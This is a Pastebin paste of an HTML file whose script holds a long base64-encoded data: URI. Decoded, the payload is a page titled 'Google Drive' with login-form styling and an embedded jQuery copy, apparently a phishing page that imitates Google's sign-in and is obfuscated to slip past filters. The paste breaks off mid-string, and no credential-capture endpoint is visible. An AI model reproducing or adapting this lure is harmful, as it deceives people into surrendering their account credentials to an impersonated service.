Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <script>
- var url = "data:text/html;base64,77u/PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPkdvb2dsZSBEcml2ZTwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KCUBjaGFyc2V0ICJVVEYtOCI7DQoqIHsNCglwYWRkaW5nOjA7bGlzdC1zdHlsZTpub25lO291dGxpbmU6bm9uZTsNCn0NCmJvZHksIGNlbnRlcnsNCiAgICBmb250LWZhbWlseTogTHVjaWRhIEdyYW5kZSwgR2VuZXZhLCBWZXJkYW5hLCBBcmlhbDsNCiAgICBmb250LXNpemU6ICAgMTJweDsNCiAgICBjb2xvcjogICAgICAgIzAwMDAwMDsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjRjJGM0Y0Ow0KfQ0KYTpob3ZlciB7DQoJY29sb3I6ICMwOEM7DQp9DQphOnZpc2l0ZWQgew0KCWNvbG9yOiAjMDhDOw0KfQ0KYTpsaW5rIHsNCgljb2xvcjogIzA4QzsJDQp9DQphOnZpc2l0ZWQgew0KCWNvbG9yOiAjMDhDOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCn0NCmE6bGluayB7DQoJY29sb3I6ICMwOEM7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KYTpsaW5rIHsNCgljb2xvcjogIzEyQzsNCn0NCmE6aG92ZXIgew0KCWNvbG9yOiAjMjE0MTgyOw0KfQ0KYTp2aXNpdGVkIHsNCgljb2xvcjogIzQ2NzNDQjsNCn0NCmE6bGluayB7DQoJY29sb3I6ICM0NjczQ0I7DQp9DQphIHsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQpzZWxlY3R7DQoJZm9udC1zaXplOjEzcHg7cGFkZGluZzozcHg7bWFyZ2luOjA7DQp9DQpoMSB7DQoJZm9udC1mYW1pbHk6ICJMdWNpZGEgR3JhbmRlIiwgQXJpYWw7DQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQoJZm9udC1zaXplOiAxM3B4Ow0KCWNvbG9yOiAjNEE1QTY2Ow0KfQ0KZGl2I2xheW91dHsNCgl3aWR0aDo5ODBweDttYXJnaW46MjhweCBhdXRvOw0KfQ0KZGl2I2xheW91dCBoMS5sb2dvew0KCWJhY2tncm91bmQ6dXJsKCcuLi9pbWcvZGl0ZS1sb2dvLnBuZycpIGxlZnQgdG9wOw0KCXdpZHRoOjE4OHB4O2hlaWdodDoyMHB4O2Zsb2F0OmxlZnQ7DQoJbWFyZ2luOjAgMCAyMHB4IDA7DQp9DQpkaXYjbGF5b3V0ICN3cmFwcGVyew0KCWNsZWFyOmJvdGg7DQoJd2lkdGg6IDEwMCU7DQoJYm9yZGVyOiAxcHggc29saWQgI0VBRUFFQTsNCglvdmVyZmxvdzogaGlkZGVuOw0KCS1tb3otYm9yZGVyLXJhZGl1czogM3B4Ow0KCS13ZWJraXQtYm9yZGVyLXJhZGl1czogM3B4Ow0KCWJvcmRlci1yYWRpdXM6IDNweDsNCgktd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwgMCwgMCwgMC4zKSAwIDFweCAzcHg7DQoJLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMCwwLDAuMykgMCAxcHggM3B4Ow0KCWJveC1zaGFkb3c6IHJnYmEoMCwgMCwgMCwgMC4zKSAwIDFweCAzcHg7DQoJYmFja2dyb3VuZDogd2hpdGU7DQp9DQpkaXYjbGF5b3V0ICN3cmFwcGVyIC5sZWZ0ew0KCWJhY2tncm91bmQ6I0ZBRkFGQSB1cmwoLi4vaW1nL2FwcC1pY29ucy5wbmcpIGNlbnRlciA1MHB4IG5vLXJlcGVhdDtwYWRkaW5nOjIwMHB4IDQwcHggMTAwcHg7DQoJd2lkdGg6MjUwcHg7DQoJYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgI0U2RTZFNjsNCglmbG9hdDpsZWZ0Ow0KCWhlaWdodDoyNTBweDsNCn0NCmRpdiNsYXlvdXQgI3dyYXBwZXIgLmxlZnQgaDEgew0KCWZvbnQtc2l6ZTogMThweDsNCglmb250LXdlaWdodDogbm9ybWFsOw0KCWNvbG9yOiAjMzMzOw0KCW1hcmdpbi1ib3R0b206MTVweDsNCn0NCmRpdiNsYXlvdXQgI3dyYXBwZXIgLmxlZnQgcCB7DQpmb250LXNpemU6IDE0cHg7DQpjb2xvcjogIzk5OTsNCmxpbmUtaGVpZ2h0OiAxLjVlbTsNCn0NCmRpdiNsYXlvdXQgI3dyYXBwZXIgLmxlZnQgYSB7DQoJZm9udC1zaXplOiAxNHB4Ow0KCWJhY2tncm91bmQ6IHVybCgnLi4vaW1nL2Fycm93LnBuZycpIG5vLXJlcGVhdCBjZW50ZXIgcmlnaHQ7DQoJcGFkZGluZy1yaWdodDogMTBweDsNCn0NCmRpdiNsYXlvdXQgI3dyYXBwZXIgLnJpZ2h0ew0KCWZsb2F0OmxlZnQ7d2lkdGg6NjMwcHg7DQp9DQpkaXYjbGF5b3V0ICN3cmFwcGVyIC5yaWdodCBoMSB7DQoJZm9udC1zaXplOiAyNHB4Ow0KCWZvbnQtd2VpZ2h0OiBub3JtYWw7DQoJY29sb3I6ICMzMzM7DQp9DQpkaXYjbGF5b3V0ICN3cmFwcGVyIC5yaWdodCBmb3JtIHsNCgl3aWR0aDo1NjBweDttYXJnaW46ODBweCBhdXRvIDgwcHg7DQp9DQpkaXYjbGF5b3V0ICN3cmFwcGVyIC5yaWdodCBwIHsNCgljb2xvcjogIzk5OTsNCn0NCmRpdiNsYXlvdXQgI3dyYXBwZXIgLnJpZ2h0IC5pZm9yZ2V0IHsNCglmbG9hdDpsZWZ0O21hcmdpbjoxNXB4IDAgMCAwO2ZvbnQtc2l6ZToxMHB4Ow0KfQ0KZGl2I2xheW91dCAjd3JhcHBlciAucmlnaHQgLmlsb2dpbiB7DQoJZmxvYXQ6cmlnaHQ7DQp9DQpkaXYjbGF5b3V0ICN3cmFwcGVyIC5yaWdodCB0ZCB7DQoJaGVpZ2h0OjQycHg7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgI0VFRTsNCn0NCmRpdiNsYXlvdXQgI3dyYXBwZXIgLnJpZ2h0IC5sZWZ0Um93IHsNCgl0ZXh0LWFsaWduOnJpZ2h0O3BhZGRpbmc6MCAxMHB4IDA7d2lkdGg6MjIwcHg7Zm9udC1zaXplOjExcHg7DQoJYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjRUVFO2ZvbnQtd2VpZ2h0OmJvbGQ7bGluZS1oZWlnaHQ6MTZweDsNCn0NCmRpdiNsYXlvdXQgI3dyYXBwZXIgLnJpZ2h0IC5jZW50ZXJSb3cgew0KCWJvcmRlci1yaWdodDoxcHggc29saWQgI0VFRTsNCglib3JkZXItbGVmdDoxcHggc29saWQgI0VFRTsNCglmb250LXdlaWdodDpib2xkOw0KCWxpbmUtaGVpZ2h0OjE2cHg7DQoJZm9udC1zaXplOjExcHg7DQoJdGV4dC1hbGlnbjpyaWdodDtwYWRkaW5nOjAgMTBweDsNCn0NCmRpdiNsYXlvdXQgI3dyYXBwZXIgLnJpZ2h0IC5yaWdodFJvdyB7DQoJcGFkZGluZzowIDEwcHg7DQp9DQpkaXYjbGF5b3V0ICN3cmFwcGVyIC5yaWdodCAucmlnaHRSb3cgc3Bhbi5mb3Jtd3JhcCB7DQoJZmxvYXQ6bGVmdDsNCglwYWRkaW5nOiAzcHg7DQoJYm9yZGVyLXJhZGl1czogNHB4Ow0KCS13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4Ow0KCS1tb3otYm9yZGVyLXJhZGl1czogNHB4Ow0KCS1vLWJvcmRlci1yYWRpdXM6IDRweDsNCgliYWNrZ3JvdW5kOiAjRUVFOw0KCW1hcmdpbi1yaWdodDo1cHg7DQp9DQpkaXYjbGF5b3V0ICN3cmFwcGVyIC5yaWdodCAucmlnaHRSb3cgc3Bhbi5mb3Jtd3JhcCBpbnB1dCB7DQoJd2lkdGg6IDMxMHB4Ow0KCXBhZGRpbmc6IDNweCA1cHg7DQoJbWFyZ2luOjA7DQoJYm9yZGVyOiAxcHggc29saWQgI0Q5RDlEOTsNCgliYWNrZ3JvdW5kOiB3aGl0ZTsNCn0NCmRpdiNsYXlvdXQgI3dyYXBwZXIgaW5wdXQuc3VibWl0IHsNCglib3JkZXI6MDsNCgloZWlnaHQ6MzVweDsNCgl3aWR0aDoyMDBweDsNCgljb2xvcjojRkZGOw0KCW1hcmdpbjoxMHB4IDA7DQoJZm9udC1zaXplOjEzcHg7DQoJZm9udC13ZWlnaHQ6Ym9sZDsNCgljdXJzb3I6cG9pbnRlcjsNCgktd2Via2l0LWJvcmRlci1yYWRpdXM6IDhweDsNCgktbW96LWJvcmRlci1yYWRpdXM6IDhweDsNCglib3JkZXItcmFkaXVzOiA4cHg7DQoJLW1vei1ib3gtc2hhZG93OiAwIDFweCAjYzBjMGMwOw0KCS13ZWJraXQtYm94LXNoYWRvdzogMCAxcHggc2lsdmVyOw0KCWJveC1zaGFkb3c6IDAgMXB4IHNpbHZlcjsNCglib3gtc2hhZG93OiBub25lCTk7DQoJYmFja2dyb3VuZDogIzUyQThFNzsNCgliYWNrZ3JvdW5kOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsICM1MkE4RTcgNSUsICMyQjcwQzMgMTAwJSk7DQoJYmFja2dyb3VuZDogLXdlYmtpdC1ncmFkaWVudChsaW5lYXIsIGxlZnQgdG9wLCBsZWZ0IGJvdHRvbSwgY29sb3Itc3RvcCg1JSwjNTJBOEU3KSwgY29sb3Itc3RvcCgxMDAlLCMyQjcwQzMpKTsNCgliYWNrZ3JvdW5kOiAtd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsICM1MkE4RTcgNSUsIzJCNzBDMyAxMDAlKTsNCgliYWNrZ3JvdW5kOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCAjNTJBOEU3IDUlLCMyQjcwQzMgMTAwJSk7DQoJYmFja2dyb3VuZDogLW1zLWxpbmVhci1ncmFkaWVudCh0b3AsICM1MkE4RTcgNSUsIzJCNzBDMyAxMDAlKTsNCgliYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG9wLCAjNTJBOEU3IDUlLCMyQjcwQzMgMTAwJSk7DQoJZmlsdGVyOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuZ3JhZGllbnQoIHN0YXJ0Q29sb3JzdHI9JyM1MmE4ZTcnLCBlbmRDb2xvcnN0cj0nIzJiNzBjMycsR3JhZGllbnRUeXBlPTAgKTsNCn0NCi5kb25uZWV7DQoJYmFja2dyb3VuZC1pbWFnZTp1cmwoIi4uL2ltZy9tZW51LnBuZyIpOw0KCWJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7DQoJZGlzcGxheTpibG9jazsNCgl3aWR0aDoxMTBweDsNCgloZWlnaHQ6MzBweDsNCglmb250LXNpemU6MXB4Ow0KCWNvbG9yOiNGRkY7DQoJdGV4dC1hbGlnbjpsZWZ0Ow0KfQ0KLmRvbm5lZTN7DQoJYmFja2dyb3VuZC1wb3NpdGlvbjogM3B4IC04cHg7DQp9DQouZG9ubmVlNHsNCgliYWNrZ3JvdW5kLXBvc2l0aW9uOiAzcHggLTUycHg7DQp9DQouZG9ubmVlNXsNCgliYWNrZ3JvdW5kLXBvc2l0aW9uOiAzcHggLTk1cHg7DQp9DQouZG9ubmVlNnsNCgliYWNrZ3JvdW5kLXBvc2l0aW9uOiAzcHggLTEzN3B4Ow0KfQ0KLmRvbm5lZTd7DQoJYmFja2dyb3VuZC1wb3NpdGlvbjogM3B4IC0xODBweDsNCn0NCi5kb25uZWU4ew0KCWJhY2tncm91bmQtcG9zaXRpb246IDNweCAtMjI0cHg7DQp9DQouZG9ubmVlOXsNCgliYWNrZ3JvdW5kLXBvc2l0aW9uOiAzcHggLTI2NnB4Ow0KfQ0KPC9zdHlsZT4NCg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLyogWi1JTkRFWCAqLw0KIC5mb3JtRXJyb3IgeyB6LWluZGV4OiA5OTA7IH0NCiAgICAuZm9ybUVycm9yIC5mb3JtRXJyb3JDb250ZW50IHsgei1pbmRleDogOTkxOyB9DQogICAgLmZvcm1FcnJvciAuZm9ybUVycm9yQXJyb3cgeyB6LWluZGV4OiA5OTY7IH0NCg0KICAgIC51aS1kaWFsb2cgLmZvcm1FcnJvciB7IHotaW5kZXg6IDUwMDA7IH0NCiAgICAudWktZGlhbG9nIC5mb3JtRXJyb3IgLmZvcm1FcnJvckNvbnRlbnQgeyB6LWluZGV4OiA1MDAxOyB9DQogICAgLnVpLWRpYWxvZyAuZm9ybUVycm9yIC5mb3JtRXJyb3JBcnJvdyB7IHotaW5kZXg6IDUwMDY7IH0NCg0KDQoNCg0KLmlucHV0Q29udGFpbmVyIHsNCglwb3NpdGlvbjogcmVsYXRpdmU7DQoJZmxvYXQ6IGxlZnQ7DQp9DQoNCi5mb3JtRXJyb3Igew0KCXBvc2l0aW9uOiBhYnNvbHV0ZTsNCgl0b3A6IDMwMHB4Ow0KCWxlZnQ6IDMwMHB4Ow0KCWRpc3BsYXk6IGJsb2NrOw0KCWN1cnNvcjogcG9pbnRlcjsNCgl0ZXh0LWFsaWduOiBsZWZ0Ow0KfQ0KDQouZm9ybUVycm9yLmlubGluZSB7DQoJcG9zaXRpb246IHJlbGF0aXZlOw0KCXRvcDogMDsNCglsZWZ0OiAwOw0KCWRpc3BsYXk6IGlubGluZS1ibG9jazsNCn0NCg0KLmFqYXhTdWJtaXQgew0KCXBhZGRpbmc6IDIwcHg7DQoJYmFja2dyb3VuZDogIzU1ZWE1NTsNCglib3JkZXI6IDFweCBzb2xpZCAjOTk5Ow0KCWRpc3BsYXk6IG5vbmU7DQp9DQoNCi5mb3JtRXJyb3IgLmZvcm1FcnJvckNvbnRlbnQgew0KCXdpZHRoOiAxMDAlOw0KCWJhY2tncm91bmQ6ICNlZTAxMDE7DQoJcG9zaXRpb246cmVsYXRpdmU7DQoJY29sb3I6ICNmZmY7DQoJbWluLXdpZHRoOiAxMjBweDsNCglmb250LXNpemU6IDExcHg7DQoJYm9yZGVyOiAycHggc29saWQgI2RkZDsNCglib3gtc2hhZG93OiAwIDAgNnB4ICMwMDA7DQoJLW1vei1ib3gtc2hhZG93OiAwIDAgNnB4ICMwMDA7DQoJLXdlYmtpdC1ib3gtc2hhZG93OiAwIDAgNnB4ICMwMDA7DQoJLW8tYm94LXNoYWRvdzogMCAwIDZweCAjMDAwOw0KCXBhZGRpbmc6IDRweCAxMHB4IDRweCAxMHB4Ow0KCWJvcmRlci1yYWRpdXM6IDZweDsNCgktbW96LWJvcmRlci1yYWRpdXM6IDZweDsNCgktd2Via2l0LWJvcmRlci1yYWRpdXM6IDZweDsNCgktby1ib3JkZXItcmFkaXVzOiA2cHg7DQp9DQoNCi5mb3JtRXJyb3IuaW5saW5lIC5mb3JtRXJyb3JDb250ZW50IHsNCglib3gtc2hhZG93OiBub25lOw0KCS1tb3otYm94LXNoYWRvdzogbm9uZTsNCgktd2Via2l0LWJveC1zaGFkb3c6IG5vbmU7DQoJLW8tYm94LXNoYWRvdzogbm9uZTsNCglib3JkZXI6IG5vbmU7DQoJYm9yZGVyLXJhZGl1czogMDsNCgktbW96LWJvcmRlci1yYWRpdXM6IDA7DQoJLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAwOw0KCS1vLWJvcmRlci1yYWRpdXM6IDA7DQp9DQoNCi5ncmVlblBvcHVwIC5mb3JtRXJyb3JDb250ZW50IHsNCgliYWNrZ3JvdW5kOiAjMzNiZTQwOw0KfQ0KDQouYmxhY2tQb3B1cCAuZm9ybUVycm9yQ29udGVudCB7DQoJYmFja2dyb3VuZDogIzM5MzkzOTsNCgljb2xvcjogI0ZGRjsNCn0NCg0KLmZvcm1FcnJvciAuZm9ybUVycm9yQXJyb3cgew0KCXdpZHRoOiAxNXB4Ow0KCW1hcmdpbjogLTJweCAwIDAgMTNweDsNCglwb3NpdGlvbjpyZWxhdGl2ZTsNCn0NCmJvZHlbZGlyPSdydGwnXSAuZm9ybUVycm9yIC5mb3JtRXJyb3JBcnJvdywNCmJvZHkucnRsIC5mb3JtRXJyb3IgLmZvcm1FcnJvckFycm93IHsNCgltYXJnaW46IC0ycHggMTNweCAwIDA7DQp9DQoNCi5mb3JtRXJyb3IgLmZvcm1FcnJvckFycm93Qm90dG9tIHsNCglib3gtc2hhZG93OiBub25lOw0KCS1tb3otYm94LXNoYWRvdzogbm9uZTsNCgktd2Via2l0LWJveC1zaGFkb3c6IG5vbmU7DQoJLW8tYm94LXNoYWRvdzogbm9uZTsNCgltYXJnaW46IDBweCAwIDAgMTJweDsNCgl0b3A6MnB4Ow0KfQ0KDQouZm9ybUVycm9yIC5mb3JtRXJyb3JBcnJvdyBkaXYgew0KCWJvcmRlci1sZWZ0OiAycHggc29saWQgI2RkZDsNCglib3JkZXItcmlnaHQ6IDJweCBzb2xpZCAjZGRkOw0KCWJveC1zaGFkb3c6IDAgMnB4IDNweCAjNDQ0Ow0KCS1tb3otYm94LXNoYWRvdzogMCAycHggM3B4ICM0NDQ7DQoJLXdlYmtpdC1ib3gtc2hhZG93OiAwIDJweCAzcHggIzQ0NDsNCgktby1ib3gtc2hhZG93OiAwIDJweCAzcHggIzQ0NDsNCglmb250LXNpemU6IDBweDsNCgloZWlnaHQ6IDFweDsNCgliYWNrZ3JvdW5kOiAjZWUwMTAxOw0KCW1hcmdpbjogMCBhdXRvOw0KCWxpbmUtaGVpZ2h0OiAwOw0KCWZvbnQtc2l6ZTogMDsNCglkaXNwbGF5OiBibG9jazsNCn0NCg0KLmZvcm1FcnJvciAuZm9ybUVycm9yQXJyb3dCb3R0b20gZGl2IHsNCglib3gtc2hhZG93OiBub25lOw0KCS1tb3otYm94LXNoYWRvdzogbm9uZTsNCgktd2Via2l0LWJveC1zaGFkb3c6IG5vbmU7DQoJLW8tYm94LXNoYWRvdzogbm9uZTsNCn0NCg0KLmdyZWVuUG9wdXAgLmZvcm1FcnJvckFycm93IGRpdiB7DQoJYmFja2dyb3VuZDogIzMzYmU0MDsNCn0NCg0KLmJsYWNrUG9wdXAgLmZvcm1FcnJvckFycm93IGRpdiB7DQoJYmFja2dyb3VuZDogIzM5MzkzOTsNCgljb2xvcjogI0ZGRjsNCn0NCg0KLmZvcm1FcnJvciAuZm9ybUVycm9yQXJyb3cgLmxpbmUxMCB7DQoJd2lkdGg6IDE1cHg7DQoJYm9yZGVyOiBub25lOw0KfQ0KDQouZm9ybUVycm9yIC5mb3JtRXJyb3JBcnJvdyAubGluZTkgew0KCXdpZHRoOiAxM3B4Ow0KCWJvcmRlcjogbm9uZTsNCn0NCg0KLmZvcm1FcnJvciAuZm9ybUVycm9yQXJyb3cgLmxpbmU4IHsNCgl3aWR0aDogMTFweDsNCn0NCg0KLmZvcm1FcnJvciAuZm9ybUVycm9yQXJyb3cgLmxpbmU3IHsNCgl3aWR0aDogOXB4Ow0KfQ0KDQouZm9ybUVycm9yIC5mb3JtRXJyb3JBcnJvdyAubGluZTYgew0KCXdpZHRoOiA3cHg7DQp9DQoNCi5mb3JtRXJyb3IgLmZvcm1FcnJvckFycm93IC5saW5lNSB7DQoJd2lkdGg6IDVweDsNCn0NCg0KLmZvcm1FcnJvciAuZm9ybUVycm9yQXJyb3cgLmxpbmU0IHsNCgl3aWR0aDogM3B4Ow0KfQ0KDQouZm9ybUVycm9yIC5mb3JtRXJyb3JBcnJvdyAubGluZTMgew0KCXdpZHRoOiAxcHg7DQoJYm9yZGVyLWxlZnQ6IDJweCBzb2xpZCAjZGRkOw0KCWJvcmRlci1yaWdodDogMnB4IHNvbGlkICNkZGQ7DQoJYm9yZGVyLWJvdHRvbTogMCBzb2xpZCAjZGRkOw0KfQ0KDQouZm9ybUVycm9yIC5mb3JtRXJyb3JBcnJvdyAubGluZTIgew0KCXdpZHRoOiAzcHg7DQoJYm9yZGVyOiBub25lOw0KCWJhY2tncm91bmQ6ICNkZGQ7DQp9DQoNCi5mb3JtRXJyb3IgLmZvcm1FcnJvckFycm93IC5saW5lMSB7DQoJd2lkdGg6IDFweDsNCglib3JkZXI6IG5vbmU7DQoJYmFja2dyb3VuZDogI2RkZDsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0Pg0KKGZ1bmN0aW9uKGEsYil7ZnVuY3Rpb24gRyhhKXt2YXIgYj1GW2FdPXt9O3JldHVybiBwLmVhY2goYS5zcGxpdChzKSxmdW5jdGlvbihhLGMpe2JbY109ITB9KSxifWZ1bmN0aW9uIEooYSxjLGQpe2lmKGQ9PT1iJiZhLm5vZGVUeXBlPT09MSl7dmFyIGU9ImRhdGEtIitjLnJlcGxhY2UoSSwiLSQxIikudG9Mb3dlckNhc2UoKTtkPWEuZ2V0QXR0cmlidXRlKGUpO2lmKHR5cGVvZiBkPT0ic3RyaW5nIil7dHJ5e2Q9ZD09PSJ0cnVlIj8hMDpkPT09ImZhbHNlIj8hMTpkPT09Im51bGwiP251bGw6K2QrIiI9PT1kPytkOkgudGVzdChkKT9wLnBhcnNlSlNPTihkKTpkfWNhdGNoKGYpe31wLmRhdGEoYSxjLGQpfWVsc2UgZD1ifXJldHVybiBkfWZ1bmN0aW9uIEsoYSl7dmFyIGI7Zm9yKGIgaW4gYSl7aWYoYj09PSJkYXRhIiYmcC5pc0VtcHR5T2JqZWN0KGFbYl0pKWNvbnRpbnVlO2lmKGIhPT0idG9KU09OIilyZXR1cm4hMX1yZXR1cm4hMH1mdW5jdGlvbiBiYSgpe3JldHVybiExfWZ1bmN0aW9uIGJiKCl7cmV0dXJuITB9ZnVuY3Rpb24gYmgoYSl7cmV0dXJuIWF8fCFhLnBhcmVudE5vZGV8fGEucGFyZW50Tm9kZS5ub2RlVHlwZT09PTExfWZ1bmN0aW9uIGJpKGEsYil7ZG8gYT1hW2JdO3doaWxlKGEmJmEubm9kZVR5cGUhPT0xKTtyZXR1cm4gYX1mdW5jdGlvbiBiaihhLGIsYyl7Yj1ifHwwO2lmKHAuaXNGdW5jdGlvbihiKSlyZXR1cm4gcC5ncmVwKGEsZnVuY3Rpb24oYSxkKXt2YXIgZT0hIWIuY2FsbChhLGQsYSk7cmV0dXJuIGU9PT1jfSk7aWYoYi5ub2RlVHlwZSlyZXR1cm4gcC5ncmVwKGEsZnVuY3Rpb24oYSxkKXtyZXR1cm4gYT09PWI9PT1jfSk7aWYodHlwZW9mIGI9PSJzdHJpbmciKXt2YXIgZD1wLmdyZXAoYSxmdW5jdGlvbihhKXtyZXR1cm4gYS5ub2RlVHlwZT09PTF9KTtpZihiZS50ZXN0KGIpKXJldHVybiBwLmZpbHRlcihiLGQsIWMpO2I9cC5maWx0ZXIoYixkKX1yZXR1cm4gcC5ncmVwKGEsZnVuY3Rpb24oYSxkKXtyZXR1cm4gcC5pbkFycmF5KGEsYik+PTA9PT1jfSl9ZnVuY3Rpb24gYmsoYSl7dmFyIGI9Ymwuc3BsaXQoInwiKSxjPWEuY3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpO2lmKGMuY3JlYXRlRWxlbWVudCl3aGlsZShiLmxlbmd0aCljLmNyZWF0ZUVsZW1lbnQoYi5wb3AoKSk7cmV0dXJuIGN9ZnVuY3Rpb24gYkMoYSxiKXtyZXR1cm4gYS5nZXRFbGVtZW50c0J5VGFnTmFtZShiKVswXXx8YS5hcHBlbmRDaGlsZChhLm93bmVyRG9jdW1lbnQuY3JlYXRlRWxlbWVudChiKSl9ZnVuY3Rpb24gYkQoYSxiKXtpZihiLm5vZGVUeXBlIT09MXx8IXAuaGFzRGF0YShhKSlyZXR1cm47dmFyIGMsZCxlLGY9cC5fZGF0YShhKSxnPXAuX2RhdGEoYixmKSxoPWYuZXZlbnRzO2lmKGgpe2RlbGV0ZSBnLmhhbmRsZSxnLmV2ZW50cz17fTtmb3IoYyBpbiBoKWZvcihkPTAsZT1oW2NdLmxlbmd0aDtkPGU7ZCsrKXAuZXZlbnQuYWRkKGIsYyxoW2NdW2RdKX1nLmRhdGEmJihnLmRhdGE9cC5leHRlbmQoe30sZy5kYXRhKSl9ZnVuY3Rpb24gYkUoYSxiKXt2YXIgYztpZihiLm5vZGVUeXBlIT09MSlyZXR1cm47Yi5jbGVhckF0dHJpYnV0ZXMmJmIuY2xlYXJBdHRyaWJ1dGVzKCksYi5tZXJnZUF0dHJpYnV0ZXMmJmIubWVyZ2VBdHRyaWJ1dGVzKGEpLGM9Yi5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpLGM9PT0ib2JqZWN0Ij8oYi5wYXJlbnROb2RlJiYoYi5vdXRlckhUTUw9YS5vdXRlckhUTUwpLHAuc3VwcG9ydC5odG1sNUNsb25lJiZhLmlubmVySFRNTCYmIXAudHJpbShiLmlubmVySFRNTCkmJihiLmlubmVySFRNTD1hLmlubmVySFRNTCkpOmM9PT0iaW5wdXQiJiZidi50ZXN0KGEudHlwZSk/KGIuZGVmYXVsdENoZWNrZWQ9Yi5jaGVja2VkPWEuY2hlY2tlZCxiLnZhbHVlIT09YS52YWx1ZSYmKGIudmFsdWU9YS52YWx1ZSkpOmM9PT0ib3B0aW9uIj9iLnNlbGVjdGVkPWEuZGVmYXVsdFNlbGVjdGVkOmM9PT0iaW5wdXQifHxjPT09InRleHRhcmVhIj9iLmRlZmF1bHRWYWx1ZT1hLmRlZmF1bHRWYWx1ZTpjPT09InNjcmlwdCImJmIudGV4dCE9PWEudGV4dCYmKGIudGV4dD1hLnRleHQpLGIucmVtb3ZlQXR0cmlidXRlKHAuZXhwYW5kbyl9ZnVuY3Rpb24gYkYoYSl7cmV0dXJuIHR5cGVvZiBhLmdldEVsZW1lbnRzQnlUYWdOYW1lIT0idW5kZWZpbmVkIj9hLmdldEVsZW1lbnRzQnlUYWdOYW1lKCIqIik6dHlwZW9mIGEucXVlcnlTZWxlY3RvckFsbCE9InVuZGVmaW5lZCI/YS5xdWVyeVNlbGVjdG9yQWxsKCIqIik6W119ZnVuY3Rpb24gYkcoYSl7YnYudGVzdChhLnR5cGUpJiYoYS5kZWZhdWx0Q2hlY2tlZD1hLmNoZWNrZWQpfWZ1bmN0aW9uIGJZKGEsYil7aWYoYiBpbiBhKXJldHVybiBiO3ZhciBjPWIuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkrYi5zbGljZSgxKSxkPWIsZT1iVy5sZW5ndGg7d2hpbGUoZS0tKXtiPWJXW2VdK2M7aWYoYiBpbiBhKXJldHVybiBifXJldHVybiBkfWZ1bmN0aW9uIGJaKGEsYil7cmV0dXJuIGE9Ynx8YSxwLmNzcyhhLCJkaXNwbGF5Iik9PT0ibm9uZSJ8fCFwLmNvbnRhaW5zKGEub3duZXJEb2N1bWVudCxhKX1mdW5jdGlvbiBiJChhLGIpe3ZhciBjLGQsZT1bXSxmPTAsZz1hLmxlbmd0aDtmb3IoO2Y8ZztmKyspe2M9YVtmXTtpZighYy5zdHlsZSljb250aW51ZTtlW2ZdPXAuX2RhdGEoYywib2xkZGlzcGxheSIpLGI/KCFlW2ZdJiZjLnN0eWxlLmRpc3BsYXk9PT0ibm9uZSImJihjLnN0eWxlLmRpc3BsYXk9IiIpLGMuc3R5bGUuZGlzcGxheT09PSIiJiZiWihjKSYmKGVbZl09cC5fZGF0YShjLCJvbGRkaXNwbGF5IixjYyhjLm5vZGVOYW1lKSkpKTooZD1iSChjLCJkaXNwbGF5IiksIWVbZl0mJmQhPT0ibm9uZSImJnAuX2RhdGEoYywib2xkZGlzcGxheSIsZCkpfWZvcihmPTA7ZjxnO2YrKyl7Yz1hW2ZdO2lmKCFjLnN0eWxlKWNvbnRpbnVlO2lmKCFifHxjLnN0eWxlLmRpc3BsYXk9PT0ibm9uZSJ8fGMuc3R5bGUuZGlzcGxheT09PSIiKWMuc3R5bGUuZGlzcGxheT1iP2VbZl18fCIiOiJub25lIn1yZXR1cm4gYX1mdW5jdGlvbiBiXyhhLGIsYyl7dmFyIGQ9YlAuZXhlYyhiKTtyZXR1cm4gZD9NYXRoLm1heCgwLGRbMV0tKGN8fDApKSsoZFsyXXx8InB4Iik6Yn1mdW5jdGlvbiBjYShhLGIsYyxkKXt2YXIgZT1jPT09KGQ/ImJvcmRlciI6ImNvbnRlbnQiKT80OmI9PT0id2lkdGgiPzE6MCxmPTA7Zm9yKDtlPDQ7ZSs9MiljPT09Im1hcmdpbiImJihmKz1wLmNzcyhhLGMrYlZbZV0sITApKSxkPyhjPT09ImNvbnRlbnQiJiYoZi09cGFyc2VGbG9hdChiSChhLCJwYWRkaW5nIitiVltlXSkpfHwwKSxjIT09Im1hcmdpbiImJihmLT1wYXJzZUZsb2F0KGJIKGEsImJvcmRlciIrYlZbZV0rIldpZHRoIikpfHwwKSk6KGYrPXBhcnNlRmxvYXQoYkgoYSwicGFkZGluZyIrYlZbZV0pKXx8MCxjIT09InBhZGRpbmciJiYoZis9cGFyc2VGbG9hdChiSChhLCJib3JkZXIiK2JWW2VdKyJXaWR0aCIpKXx8MCkpO3JldHVybiBmfWZ1bmN0aW9uIGNiKGEsYixjKXt2YXIgZD1iPT09IndpZHRoIj9hLm9mZnNldFdpZHRoOmEub2Zmc2V0SGVpZ2h0LGU9ITAsZj1wLnN1cHBvcnQuYm94U2l6aW5nJiZwLmNzcyhhLCJib3hTaXppbmciKT09PSJib3JkZXItYm94IjtpZihk